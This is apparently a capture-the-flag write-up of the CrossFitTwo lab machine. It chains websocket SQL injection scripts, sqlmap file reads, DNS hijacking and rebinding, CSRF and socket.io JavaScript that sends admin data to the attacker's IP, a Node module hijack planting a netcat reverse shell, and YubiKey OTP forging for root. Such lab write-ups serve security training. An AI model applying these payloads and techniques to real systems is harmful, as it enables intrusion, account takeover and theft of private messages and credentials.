Enumeration
IP-ADDR: 10.10.10.232 crossfit.htb
nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
| 3072 35:0a:81:06:de:be:8c:d8:d7:27:66:db:96:94:fd:52 (RSA)
| 256 94:60:55:35:9a:1a:a8:45:a1:ae:19:cd:61:05:ec:3f (ECDSA)
|_ 256 a2:c8:6b:6e:11:b6:70:69:db:d2:60:2e:2f:d1:2f:ab (ED25519)
80/tcp open http (PHP 7.4.12)
|_http-server-header: OpenBSD httpd
|_http-title: CrossFit
8953/tcp open ssl/ub-dns-control?
| ssl-cert: Subject: commonName=unbound
| Not valid before: 2021-01-11T07:01:10
|_Not valid after: 2040-09-28T07:01:10
- OS: OpenBSD
- Port 8953 is running Unbound dns server.
- Unbound is a validating, recursive, caching DNS resolver.
Found 2 subdomains from burpsuite spider
1
2
gym.crossfit.htb
employees.crossfit.htb
employees.crossfit.htb
contains a login page.
gym.crossfit.htb
have WebSocket API used for chat feature.
Foothold
Websocket
- WebSocket API is an advanced technology that makes it possible to open a two-way interactive communication session between the user’s browser and a server.
There are three commands. When we use third command memberships
to check memberships and click on any membership
it send a request with a extra parameter: "params":"1"
And another thing is that every request uses a unique token, when client first time connect to the server, server send a token that uses in the client’s next request and this token changes every time when server response to a client.
Websocket client python script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import argparse
import sys
import websockets
import asyncio
import json
url = "ws://gym.crossfit.htb/ws/"
parser = argparse.ArgumentParser()
parser.add_argument('-m', '--message', help='Send command')
parser.add_argument('-p', '--params', help='Test "params" parameter')
args = parser.parse_args()
async def lets_talk():
async with websockets.connect(url) as ws:
msg = await ws.recv()
json_data = json.loads(msg)
payload = json.dumps({"message": "help", "token": json_data["token"]})
if args.message:
payload = json.dumps({"message": args.message, "token": json_data["token"]})
elif args.params:
payload = json.dumps({"message": "available", "params": args.params, "token": json_data["token"]})
print(f"< {payload}")
await ws.send(payload)
msg = await ws.recv()
print(f"> {msg}")
if __name__ == "__main__":
try:
if len(sys.argv) == 1:
parser.print_help()
else:
asyncio.get_event_loop().run_until_complete(lets_talk())
except KeyboardInterrupt:
print(' KeyboardInterrupt')
While testing params
parameter found sql injections.
Boolean based Blind SQL Injection
SQL UNION injection
SQL injection
websocket client mitm server
Creating a php server based websocket client so we can automate sql injection with sqlmap.
- There is a library
textalk/websocket
, We can use for websocket in php.
Install it in project folder
1
composer require textalk/websocket
Create php script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
require 'vendor/autoload.php';
use WebSocket\Client;
$client = new WebSocket\Client("ws://gym.crossfit.htb/ws/");
$recv_token = $client->receive();
$token = json_decode($recv_token, true)["token"];
$payload = json_encode(array('message' => 'available', 'params' => $_GET['id'], 'token' => $token));
$client->send($payload);
echo $client->receive();
$client->close();
?>
Boolean based Blind SQL Injection
- Found injection with payload:
1 AND 1=1
And now we can use sqlmap to automate sql injection.
Some sqlmap flags to make scan more accurate based on known information.
1
2
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--string=STRING String to match when query is evaluated to True
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#retrieving database names
sqlmap -u 'http://10.10.15.71:8000/websocket-client.php?id=1' --batch --string='Good news!' --technique=B --threads=10 --dbms=mysql --dbs
available databases [3]:
[*] crossfit
[*] employees
[*] information_schema
#retrieving tables
sqlmap -u 'http://10.10.15.71:8000/websocket-client.php?id=1' --batch --string='Good news!' --technique=B --threads=10 --dbms=mysql -D employees --tables
Database: employees
[2 tables]
+----------------+
| employees |
| password_reset |
+----------------+
#dump data
sqlmap -u 'http://10.10.15.71:8000/websocket-client.php?id=1' --batch --string='Good news!' --technique=B --threads=10 --dbms=mysql -D employees -T employees --dump
These password hashes are not crackable
Check if database user have any privileges
1
2
3
database management system users privileges:
[*] %crossfit_user% [1]:
privilege: FILE
From mysql docs “A user who has the FILE privilege can read any file on the server host that is either world-readable or readable by the MySQL server.”
sql payload for boolean based blind injection for checking if file exist:
1 AND !isnull(load_file(0x<filepath_in_hexadecimal>))
Check /etc/passwd
file
1
2
3
❯ python websocket.py -p '1 AND 1 AND !isnull(load_file(0x2f6574632f706173737764))'
< {"message": "available", "params": "1 AND 1 AND !isnull(load_file(0x2f6574632f706173737764))", "token": "97c47b19d8c2fc7f2ea9cfe79078fb2279478e15c4fb2ede301b8ad4c3d08e46"}
> {"status":"200","message":"Good news! This membership plan is available.","token":"645e596d99d2d03b82588868b437831c89f13bda4c168b318ed59b6d5f00a7b6","debug":"[id: 1, name: 1-month]"}
Read file with sqlmap
1
sqlmap -u 'http://10.10.15.71:8000/websocket-client.php?id=1' --batch --string='Good news!' --technique=B --threads=10 --file-read="/etc/passwd"
UNION sql injection to Read file
- Found injection with payload:
3 UNION SELECT 1,2
This is more faster than blind injection because values are reflated in the response.
Updated Websocket client python script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import argparse
import sys
import websockets
import asyncio
import json
url = "ws://gym.crossfit.htb/ws/"
parser = argparse.ArgumentParser()
parser.add_argument('-m', '--message', help='Send command')
parser.add_argument('-p', '--params', help='"params" parameter value')
parser.add_argument('-u', '--union', action='store_true', help='Enable UNION injection')
parser.add_argument('-f', '--file', action='store_true', help='Enable file reading')
args = parser.parse_args()
async def lets_talk():
async with websockets.connect(url) as ws:
msg = await ws.recv()
json_data = json.loads(msg)
payload = json.dumps({"message": "help", "token": json_data["token"]})
if args.message:
payload = json.dumps({"message": args.message, "token": json_data["token"]})
elif args.params:
if args.union:
payload = json.dumps({"message": "available", "params": f"3 UNION SELECT ({args.params}),2", "token": json_data["token"]})
# print(f"< {payload}")
await ws.send(payload)
msg = await ws.recv()
json_data = json.loads(msg)
rspn = json_data["debug"][5:-9].replace(',', '\n')
print(rspn)
exit(0)
elif args.file:
payload = json.dumps({"message": "available", "params": f"3 UNION SELECT (select load_file('{args.params}')),2", "token": json_data["token"]})
# print(f"< {payload}")
await ws.send(payload)
msg = await ws.recv()
json_data = json.loads(msg)
rspn = json_data["debug"][5:-9]
print(rspn)
exit(0)
else:
payload = json.dumps({"message": "available", "params": args.params, "token": json_data["token"]})
print(f"< {payload}")
await ws.send(payload)
msg = await ws.recv()
print(f"> {msg}")
if __name__ == "__main__":
try:
if len(sys.argv) == 1:
parser.print_help()
else:
asyncio.get_event_loop().run_until_complete(lets_talk())
except KeyboardInterrupt:
print(' KeyboardInterrupt')
- Retrieve all Databases names:
SELECT group_concat(schema_name) FROM information_schema.schemata
- Retrieve all tables of specific database:
Select group_concat(table_name) from information_schema.tables where table_schema='<database_name>'
- Retrieve all columns of specific table:
SELECT group_concat(column_name) from information_schema.columns where table_name ='tablename'
- Retrieve columns:
SELECT group_concat(column1,":",column2) from <database_Name>.<table_Name>
- Check dbms users privileges:
SELECT group_concat(grantee,':',privilege_type) FROM information_schema.user_privileges
- Read file:
SELECT load_file('<file_name>')
**
DNS Hijacking
relayd
While checking conf files, one interesting file found is httpd server.
- OpenBSD httpd server config file default path is
/etc/httpd.conf
host/subdomains listening on different local port but we can access them from remote port 80.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ python websocket.py -f -p "/etc/httpd.conf"
server "0.0.0.0" {
no log
listen on lo0 port 8000
... [snip] ...
server "employees" {
no log
listen on lo0 port 8001
... [snip] ...
server "chat" {
no log
listen on lo0 port 8002
... [snip] ...
OpenBSD uses relayd
for doing this.
- relayd is a daemon to relay and dynamically redirect incoming connections to a target host.
- OpenBSD relayd config file path is
"/etc/relayd.conf"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
❯ python websocket.py -f -p '/etc/relayd.conf'
table<1>{127.0.0.1}
table<2>{127.0.0.1}
table<3>{127.0.0.1}
table<4>{127.0.0.1}
http protocol web{
pass request quick header "Host" value "*crossfit-club.htb" forward to <3>
pass request quick header "Host" value "*employees.crossfit.htb" forward to <2>
match request path "/*" forward to <1>
match request path "/ws*" forward to <4>
http websockets
}
table<5>{127.0.0.1}
table<6>{127.0.0.1 127.0.0.2 127.0.0.3 127.0.0.4}
http protocol portal{
pass request quick path "/" forward to <5>
pass request quick path "/index.html" forward to <5>
pass request quick path "/home" forward to <5>
pass request quick path "/login" forward to <5>
pass request quick path "/chat" forward to <5>
pass request quick path "/js/*" forward to <5>
pass request quick path "/css/*" forward to <5>
pass request quick path "/fonts/*" forward to <5>
pass request quick path "/images/*" forward to <5>
pass request quick path "/favicon.ico" forward to <5>
pass forward to <6>
http websockets
}
relay web{
listen on "0.0.0.0" port 80
protocol web
forward to <1> port 8000
forward to <2> port 8001
forward to <3> port 9999
forward to <4> port 4419
}
relay portal{
listen on 127.0.0.1 port 9999
protocol portal
forward to <5> port 8002
forward to <6> port 5000 mode source-hash
}
- Found another host
crossfit-club.htb
"*crossfit-club.htb"
And"*employees.crossfit.htb"
contains a wildcard.
Unbound
with file read we can also read unbound config file and retrieve its server and control key. With these files we can edit server dns entries.
- OpenBSD install unbound config file in
/var/unbound/etc/unbound.conf
Get cerf file locations from config file
1
2
3
4
server-key-file: "/var/unbound/etc/tls/unbound_server.key"
server-cert-file: "/var/unbound/etc/tls/unbound_server.pem"
control-key-file: "/var/unbound/etc/tls/unbound_control.key"
control-cert-file: "/var/unbound/etc/tls/unbound_control.pem"
Download all file and add there path in a local unbound config file to connect to remote unbound server.
1
2
3
4
remote-control:
server-cert-file: "/crossFitTwo/dump/unbound_server.pem"
control-key-file: "/crossFitTwo/dump/unbound_control.key"
control-cert-file: "/crossFitTwo/dump/unbound_control.pem"
DNS Hijacking
There is a “forgot password” option in
employees.crossfit.htb
login page.Found Email address from sql injection
1 2 3 4 5
❯ python websocket.py -u -p "SELECT group_concat(email) from employees.employees" david.palmer@crossfit.htb jack.parker@crossfit.htb maria.williams@crossfit.htb will.smith@crossfit.htb
and david.palmer@crossfit.htb
is admin.
- When we send password reset request, server send a email to that user with reset link.
- From relayd config file we found that server resolve
*employees.crossfit.htb
where wildcard can be anything it still resolveemployees.crossfit.htb
. - And we can write any rule in unbound-control.
- unbound flag
forward_add [+i]
allow to add forward zone.
- unbound flag
If we add a new host “anything-employees.crossfit.htb
” in unbound-control that resolve from attacker dns server and than request password reset from that domain. It will go through relayd proxy and resolve this domain as “*employees.crossfit.htb
” and send email from “anything-employees.crossfit.htb
” domain. When Victim click on reset link, crossfit’s unbound-control forward this domain’s dns query to attacker’s dns server and attacker dns server will return attacker’s http server’s ip address for that domain.
this is a messed up situation, that why i create a mind map to understand this situation clearly.
Add forward zone rule in unbound-control
- from unbound-control man page, There is a flag
forward_add [+i]
that “Add a new forward zone to running unbound.”
1
unbound-control -c unbound.conf -s 10.10.10.232 forward_add +i <Domain_name> <DNS_server_IP>
Setup fake dns and http server
1
dnschef -i <VPN_IP> --fakedomains <Domain_name> --fakeip <VPN_IP>
Get DNS quarry but don’t get any http request. Server response with “Only local hosts are allowed”. That means there are some security measures in the server that checks if dns resolves localhost or not.
Replacing domain ip to localhost 127.0.0.1
This time get more dns queries, But still don’t get any http request from victim. That’s because victim can not reach to attacker’s localhost.
DNS Rebinding
Here DNS Rebinding comes into play.
Basic motive of dns rebinding is that the server accepts a certain number of requests from a client for a domain and then it changes the IP address to a different one.
dnschef
don’t have dns rebinding feature but there is a python script on github FakeDns that can help in this situation.
Create config file for FakeDns
with a dns rebind rule.
1
A ex-employees.crossfit.htb 127.0.0.1 2%10.10.15.71
We add 2 before %
that means that server takes 2 request on IP 127.0.0.1
and then change IP to 10.10.15.71
.
And this time get request on http server and get reset link.
But link is not working.
But reset request we got on our server contains Referer
header value http://crossfit-club.htb/
.
This means that user click on link from crossfit-club.htb
vHost.
vHost
crossfit-club.htb
have a login page that send login request to a api endpoint.
And there is a signup option, That is disabled.
Found 2 endpoints from api fuzzing with GET method and 2 from POST method.
1
2
3
4
5
6
7
8
9
10
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://crossfit-club.htb/api/FUZZ
auth [Status: 200, Size: 66, Words: 1, Lines: 1]
ping [Status: 200, Size: 71, Words: 3, Lines: 1]
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://crossfit-club.htb/api/FUZZ -X POST
login [Status: 200, Size: 50, Words: 3, Lines: 1]
signup [Status: 200, Size: 50, Words: 3, Lines: 1]
auth
response with a toked
Try to get signup, return csrf token error
When try to login, get the csrf token header
And with csrf token, get “Only administrators can register accounts.” message.
CSRF
Account Registration
We already make admin to connect to our http server from dns hijacking. Here we can use cross site request forgery to execute javascript from admin browser which register new account on behalf of admin.
Create a javascript that execute from victim’s browser and register account. from ippsec video
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<script>
// retrive csrf token from admin login session.
var req1 = new XMLHttpRequest();
req1.open("GET", "http://crossfit-club.htb/api/auth", false);
req1.withCredentials = true;
req1.send();
var obj = JSON.parse(req1.response);
// register new account from admin browser.
var req2 = new XMLHttpRequest();
req2.open("POST", "http://crossfit-club.htb/api/signup", false);
req2.setRequestHeader("Content-Type", "application/json");
req2.setRequestHeader("X-CSRF-TOKEN", obj.token);
req2.withCredentials = true;
const data = JSON.stringify( {"username": "poorduck", "email": "poorduck@duckland.duck", "password": "p00rduck", "confirm": "p00rduck"} );
req2.send(data);
// send signup response to attacker's server.
var req3 = new XMLHttpRequest();
req3.open("GET", "http://10.10.15.71/?" + btoa(req2.response));
req3.send();
</script>
</html>
Save as password-reset.php
in the www directory.
And execute same DNS Rebinding attack. If everything goes well we’ll get a extra request that contains signup response.
1
2
unbound-control -c unbound.conf -s 10.10.10.232 forward_add +i ex-exployees.crossfit.htb 10.10.15.71
sudo php -S 0.0.0.0:80
After some time get requests from victim but don’t get any response of signup.
When debug php file in local browser, found “Cross-Origin Request Blocked”
CORS Bypass using host header
from PayloadsAllTheThings, There is a server misconfiguration scenario where the dot was not escaped correctly. something like this: ^api.example.com$
instead of ^api\.example.com$
. Thus, the dot can be replaced with any letter to gain access from a third-party domain.
And here this technique work for both subdomains employees.crossfit.htb
and gym.crossfit.htb
1
2
3
❯ curl -s -q -v -H 'Origin: http://employeesXcrossfit.htb' http://crossfit-club.htb/api/auth 2>&1 | grep "Origin"
> Origin: http://employeesXcrossfit.htb
< Access-Control-Allow-Origin: http://employeesXcrossfit.htb
Now the another thing we can do with that misconfigured domain *employees.crossfit.htb
in relayd config. That wildcard can be anything. if we add something like anything.htb/anything-employees.crossfit.htb
it still resolves employees.crossfit.htb
1
2
❯ curl -s -X 'POST' -H 'Host: anything.htb/anything-employees.crossfit.htb' --data-binary 'email=david.palmer%40crossfit.htb' 'http://10.10.10.232/password-reset.php' | grep alert | sed 's/.*role="alert">\(.*\)<button.*/\1/'
Only local hosts are allowed.
but host value stored as anything.htb/anything-employees.crossfit.htb
and browser translate host as anything.htb
and strip anything after first domain and this time, When victim click on reset link it will redirect to anything.htb
.
Doing same DNS Hijacking attack but this time we change host domain to employeesXcrossfit.htb/employees.crossfit.htb
.
This time we add employeesXcrossfit.htb
domain in unboun-control, because when user click on link with employeesXcrossfit.htb/employees.crossfit.htb
host his browser everything after first domain and make request to employeesXcrossfit.htb
.
1
unbound-control -c unbound.conf -s 10.10.10.232 forward_add +i employeesXcrossfit.htb 10.10.15.71
And change fakedns
config rule
1
A employeesXcrossfit.htb 127.0.0.1 2%10.10.15.71
python script to automate this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from re import findall
from time import sleep
from subprocess import Popen, PIPE, STDOUT
from os import system
import requests as r
websocket = "ws://gym.crossfit.htb/ws/"
url = "http://employees.crossfit.htb/password-reset.php"
def req_token():
data = {"email": "david.palmer@crossfit.htb"}
headers = {"Connection": "keep-alive", "Host": "employeesXcrossfit.htb/employees.crossfit.htb"}
rspn = r.post(url, data=data, headers=headers)
alert = findall(r'role="alert">(.*?)<button', rspn.text)[0]
return alert
fakedns = "/home/x00tex/git-tools/FakeDns/fakedns.py"
conf = "fakedns.conf"
# system('unbound-control -c ./unbound.conf -s 10.10.10.232 forward_add +i ex-employees.crossfit.htb 10.10.15.71')
system('unbound-control -c ./unbound.conf -s 10.10.10.232 forward_add +i employeesXcrossfit.htb 10.10.15.71')
out = Popen(['python', f'{fakedns}', '-c', f'{conf}'], stdout=PIPE, stderr=STDOUT)
sleep(5)
rspn = req_token()
print(rspn)
if "Reset link sent" in rspn:
system("sudo php -S 0.0.0.0:80")
else:
out.kill()
exit()
Socket.io listener hooking
After login to crossfit-club.htb
found only functional page chat
Chat function is using socket.io
javascript api library.
socket.io: Socket.IO is a JavaScript library for realtime web applications. It enables realtime, bi-directional communication between web clients and servers. It has two parts: a client-side library that runs in the browser, and a server-side library for Node.js. Both components have a nearly identical API.
server and client’s Socket object act as EventEmitters
, you can emit with socket.emit()
and listen with socket.on()
for events in a bi-directional manner.
How client side socket.io script is working is, It generate 3 requests. First it set a GET event listener
then second send a ping/message in POST emit
request and receive server response in first GET event listener
and Third start new GET event listener
.
There are 2 types of chat, Global chat and Private chat.
From http://crossfit-club.htb/js/app~748942c6.ead68abe.js
we can see all listener.
If we send message to any user, we can see his reply in first GET listener response. but it is not showing in chat window.
If we hook private_recv
listener of admin account to our server, we can read admin messages.
Using the same CSRF account registration technique to trick admin to execute a javascript that executes from admin browser and hook private_recv
to our http server and intercept all traffic that come through private_recv
listener.
1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<script src="http://crossfit-club.htb/socket.io/socket.io.js"></script>
<script>
var socket = io.connect('http://crossfit-club.htb');
socket.emit("user_join", { username : "admin" });
socket.on("private_recv", function(msg) {
var req = new XMLHttpRequest();
req.open("GET", "http://10.10.15.71/?" + btoa(JSON.stringify(msg)));
req.send();
});
</script>
</html>
after some time, receive message with user “David” ssh password
Privesc
User “david” is in “sysadmins” group.
Searching for files where “sysadmins” group users have read/write access.
1
2
crossfit2$ find / -group sysadmins -ls 2>/dev/null
1244170 4 drwxrwxr-x 3 root sysadmins 512 Feb 3 2021 /opt/sysadmin
Find a javascript file inside /opt/sysadmin/server/statbot
1
-rw-r--r-- 1 root wheel 740 Jan 13 2021 statbot.js`
- script is executing every minute and loging data in
/tmp/chatbot.log
Node module hijack
script using 2 nodejs modules
1
2
const WebSocket = require('ws');
const fs = require('fs');
but there is no node_module directory in current folder. Whenever we create a new project and install required modules with nmp
they installed in node_modules
directory inside project folder. if not than used from nmp global library. you can understand nodejs folder Structures from docs.npmjs.com
- websocket module install in
node_modules/ws
directory and load fromnode_modules/ws/index.js
.
Get nodejs reverse shell from PayloadsAllTheThings
user “david” have write access in /opt/sysadmin
directory.
Create recursive directry node_modules/ws/
and inside this folder create index.js
file with reverse shell.
1
2
3
4
mkdir -p /opt/sysadmin/node_modules/ws/
cat << EOF > /opt/sysadmin/node_modules/ws/index.js
require('child_process').exec('rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.71 4141 >/tmp/f')
EOF
Got shell as user “john”
User “david” is in “staff” group.
Searching for files where “staff” group users have read/write access.
1
2
crossfit2$ find / -group staff -ls 2>/dev/null
1481580 20 -rwsr-s--- 1 root staff 9024 Jan 5 2021 /usr/local/bin/log
Find a suid binary inside owned by “staff” group.
This binary can read log files.
1
2
3
4
5
crossfit2$ /usr/local/bin/log
* LogReader v0.1
[*] Usage: /usr/local/bin/log <log file to read>
Binary is reading every file inside /var
directory, but we can not read any file out side /var
directory.
1
2
3
4
5
6
7
8
9
10
11
crossfit2$ /usr/local/bin/log /var/unbound/etc/unbound.conf
* LogReader v0.1
[*] Log size: 777
server:
interface: 127.0.0.1
interface: ::1
#... [snip] ...
Because bianry is using unvail
function to set /var
direcotry
When searching for openbsd /var/backup
first result is changelist
Form changelist
description: “The /etc/changelist
file is a simple text file containing the names of files to be backed up and checked for modification by the system security script. It is checked daily by the /etc/daily script. Each line of the file contains the name of a file, specified by its absolute pathname, one per line. By default, configuration files in /etc
, /root
, and /var
are added during system install. Backup files are held in the directory /var/backups
”.
/etc/changelist
file contains root ssh key/root/.ssh/id_rsa
in the list.
And from same /etc/changelist
man page, how files stored in the /var/backups
direcotry: “For example, the system shell database, /etc/shells
, is held as /var/backups/etc_shells.current. When this file is modified, it is renamed to /var/backups/etc_shells.backup
and the new version becomes /var/backups/etc_shells.current
. Thereafter, these files are rotated”.
/root/.ssh/id_rsa
conatins+
that means it is modified. That means file stored in/var/backups
asroot_.ssh_id_rsa.current
. We can read it with/usr/local/bin/log
from/var/backups/root_.ssh_id_rsa.current
yubikey
Try to login with root ssh key, it’s asking for passsowrd. checking ssh debug logs, ssh login use 2 Authentication method publickey
and password
.
from etc/ssh/sshd_config
1
2
Match User root
AuthenticationMethods publickey,password
And /etc/login.conf
1
2
3
daemon:\
#... [snip] ...
:auth-ssh=yubikey:\
ssh Authentication required passowrd for root and that password is a yubikey.
YubiKey is a hardware authentication device manufactured by Yubico.
First time Configuration generate 2 files username.uid
and username.key
from login_yubikey man page: “login_yubikey
will read the user’s UID (12 hex digits) from the file user.uid
, the user’s key (32 hex digits) from user.key
, and the user’s last-use counter from user.ctr
in the /var/db/yubikey
directory.
So when we login to ssh and enter password, login_yubikey
increment user’s login counter and verify entered passowrd based on above parameters.
We can read these file with /usr/local/bin/log
bianry.
1
2
3
/usr/local/bin/log /var/db/yubikey/root.uid
/usr/local/bin/log /var/db/yubikey/root.key
/usr/local/bin/log /var/db/yubikey/root.ctr
There are multiple scripts all tool to generate yubikey OTP.
- yubisim: writen in java
- require java8, which can be enable (if installed) with
sudo update-alternatives --config java
andsudo update-alternatives --config javac
- require “Public ID” which is yubikey device ID
- require java8, which can be enable (if installed) with
- yubico-c: written in c
- require
asciidoc
and compile from source.
- require
yubico-c
technique from 0xdf’s walkthrough- python script form xct’s video
Don’t understand it completely but got the root flag with xct’s python script.